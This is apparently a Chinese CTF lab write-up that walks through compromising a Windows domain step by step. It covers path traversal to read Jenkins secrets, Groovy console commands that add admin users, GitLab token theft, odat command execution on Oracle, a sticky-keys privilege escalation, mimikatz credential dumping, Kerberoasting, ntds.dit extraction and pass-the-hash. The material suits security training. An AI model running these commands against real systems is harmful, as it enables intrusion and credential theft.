boxmoe_header_banner_img

Hello! 欢迎来到zz的小站！

加载中

POST
文章导读
渗透

春秋云镜-Privilege

avatar
zzdzz 2025年12月3日 196
0 评论

参考文章

https://fushuling.com/index.php/2023/10/10/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83%C2%B7privilege/
https://blog.csdn.net/uuzeray/article/details/142372470
https://blog.csdn.net/weixin_63576152/article/details/133892513

第一关

39.98.119.134

fscan扫

PS G:\tool\护网\工具打包> G:\tool\护网\工具打包\fscan322.exe -h 39.98.119.134

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
39.98.119.134:80 open
39.98.119.134:8080 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.98.119.134:8080 code:403 len:548    title:None
[*] WebTitle http://39.98.119.134      code:200 len:54689  title:XR SHOP
[+] PocScan http://39.98.119.134/www.zip poc-yaml-backup-file

80存在源码泄露，8080是Jenkins，应该是代码审计读到Jenkins的密码

tools下的content-log.php

权限很高，直接能读出flag01

http://39.98.119.134/tools/content-log.php?logfile=../../../../../../../../../Users/Administrator/flag/flag01.txt
 flag01: flag{10d14c20-1ad0-4ab4-96bb-91cdb1d3f063}

提示：Jenkins 配置目录为 C:\ProgramData\Jenkins.jenkins，尝试读出密码

http://39.98.119.134/tools/content-log.php?logfile=C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword
admin/510235cf43f14e83b88a9f144199655b

打开就是脚本命令执行

println "net user zzdzz qwer1234@ /add".execute().text
println "net localgroup administrators zzdzz /add".execute().text

直接rdp连

传fscan扫内网

C:\Users\zzdzz>C:\Users\zzdzz\Desktop\fscan322.exe -h 172.22.14.1/24 -o 1.txt

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.3
start infoscan
(icmp) Target 172.22.14.7     is alive
(icmp) Target 172.22.14.11    is alive
(icmp) Target 172.22.14.16    is alive
(icmp) Target 172.22.14.31    is alive
(icmp) Target 172.22.14.46    is alive
[*] Icmp alive hosts len is: 5
172.22.14.31:445 open
172.22.14.7:135 open
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.46:135 open
172.22.14.7:139 open
172.22.14.31:135 open
172.22.14.11:135 open
172.22.14.46:80 open
172.22.14.7:8080 open
172.22.14.31:1521 open
172.22.14.7:3306 open
172.22.14.46:445 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.16:8060 open
172.22.14.11:88 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo
[*]172.22.14.7
   [->]XR-JENKINS
   [->]172.22.14.7
[*] NetInfo
[*]172.22.14.31
   [->]XR-ORACLE
   [->]172.22.14.31
[*] NetInfo
[*]172.22.14.11
   [->]XR-DC
   [->]172.22.14.11
[*] NetBios 172.22.14.31    WORKGROUP\XR-ORACLE
[*] NetBios 172.22.14.46    XIAORANG\XR-0923
[*] NetBios 172.22.14.11    [+] DC:XIAORANG\XR-DC
[*] NetInfo
[*]172.22.14.46
   [->]XR-0923
   [->]172.22.14.46
[*] WebTitle http://172.22.14.7:8080   code:403 len:548    title:None
[*] WebTitle http://172.22.14.16:8060  code:404 len:555    title:404 Not Found
[*] WebTitle http://172.22.14.16       code:302 len:99     title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle http://172.22.14.46       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.14.7        code:200 len:54603  title:XR SHOP
[*] WebTitle http://172.22.14.16/users/sign_in code:200 len:34961  title:Sign in · GitLab
[+] PocScan http://172.22.14.7/www.zip poc-yaml-backup-file

172.22.14.7 本机，已最高权限
172.22.14.46 XR-0923
172.22.14.11 XR-DC 域控
172.22.14.31 XR-ORACLE
172.22.14.16 GitLab

vshell上线，搭隧道

第二关

提示：

管理员为 Jenkins 配置了 Gitlab，请尝试获取 Gitlab API Token，并最终获取 Gitlab 中的敏感仓库。获取敏感信息后，尝试连接至 Oracle 数据库，并获取 ORACLE 服务器控制权限。

尝试找到这个Gitlab API Token

http://39.98.119.134:8080/manage/credentials/

检查即可看到明文

{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}

回到脚本控制台获取对应的明文，获得gitlab PRIVATE-TOKEN

println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())
glpat-7kD_qLH2PiQv_ywB9hz2

GitLab信息泄露利用详见

项目 API | 极狐GitLab

proxychains4 curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects" |jq  |grep "http_url_to_repo"
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git 
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/awenode.git 
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git 
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/gitlab-instance-23352f48/Monitoring.git

在xradmin/ruoyi-admin/src/main/resources/application-druid.yml找到Oracle的账密

# 主库数据源
            master:
                url: jdbc:oracle:thin:@172.22.14.31:1521/orcl
                username: xradmin
                password: fcMyE8t9E4XdsKf

用odat打oracle

添加用户

proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user zzdzz qwer1234@ /add'
proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators zzdzz /add'

rdp连即可

flag02

flag02: flag{497df907-bd8e-4e8e-bd03-fe6856eae42b}

第三关

提示：

攻击办公区内网，获取办公 PC 控制权限，并通过特权滥用提升至 SYSTEM 权限。

在之前git克隆时，发现账密本internal-secret/credentials.txt里找到XR-0923的账密

zhangshuai | wSbEajHzZs

直接RDP连上46

权限很低，读不了flag，需要提权

查看当前用户权限

net user zhangshuai

zhangshuai是Remote Management Use组的，可以打winrm

proxychains4 evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs
whoami /priv

发现比RDP多了一个SeRestorePrivilege

奇安信攻防社区-手把手教你Windows提权

粘滞键提权

ren C://windows/system32/sethc.exe C://windows/system32/sethc.bak
ren C://windows/system32/cmd.exe C://windows/system32/sethc.exe

回到rdp锁定用户，在登录处按5下shift触发粘滞键弹出cmd拿到SYSTEM

直接创建一个账户

net user zzdzz qwer1234@ /add
net localgroup administrators zzdzz /add

再次rdp

flag03: flag{01809899-c8fc-4c01-812f-0bf0bf9880f6}

第四关

传个猕猴桃上去，以管理员权限运行导出哈希

有版本是不行的，很神奇，搞了2个2.2.0一个可以一个不行，反正就多试几个吧

privilege::debug
sekurlsa::logonpasswords
		[00000003] Primary
         * Username : XR-0923$
         * Domain   : XIAORANG
         * NTLM     : 764ce0d23a2706f8ce59c559702f6d37
         * SHA1     : 1b4a558d371b26ed969becb5f7d68593f2bdb7c1

打kerberoasting

proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':764ce0d23a2706f8ce59c559702f6d37' -dc-ip 172.22.14.11
proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':764ce0d23a2706f8ce59c559702f6d37' -dc-ip 172.22.14.11 -request-user tianjing

写入hash.txt，然后爆破

hashcat -a 0 -m 13100 hash.txt ../rockyou.txt
DPQSXSXgh2

winrm连一下

proxychains4 evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2

whoami /priv查看用户权限，发现又多一个SeBackupPrivilege

谈谈域渗透中常见的可滥用权限及其应用场景（二）-腾讯云开发者社区-腾讯云

利用卷影拷贝服务提取ntds.dit – 先知社区

kali上新建一个raj.dsh

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

再用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距

unix2dos raj.dsh

在C:/​下随便创个目录，上传raj.dsh

卷影拷贝

diskshadow /s raj.dsh

下载ntds.dit和system到kali上

RoboCopy /b z:\windows\ntds . ntds.dit
download ntds.dit
reg save HKLM\SYSTEM system
download system

会用时比较久

解密出administrator的hash

impacket-secretsdump -ntds ntds.dit -system system local
70c39b547b7d8adec35ad7c09fb1d277

打pth，winrm上去

proxychains4 evil-winrm -i 172.22.14.11 -u Administrator -H "70c39b547b7d8adec35ad7c09fb1d277"
type /Users/Administrator/flag/flag04.txt
flag04: flag{5a06fae0-cd1c-40fa-9ea6-06a89a04e4f6}

评论（已关闭）

评论已关闭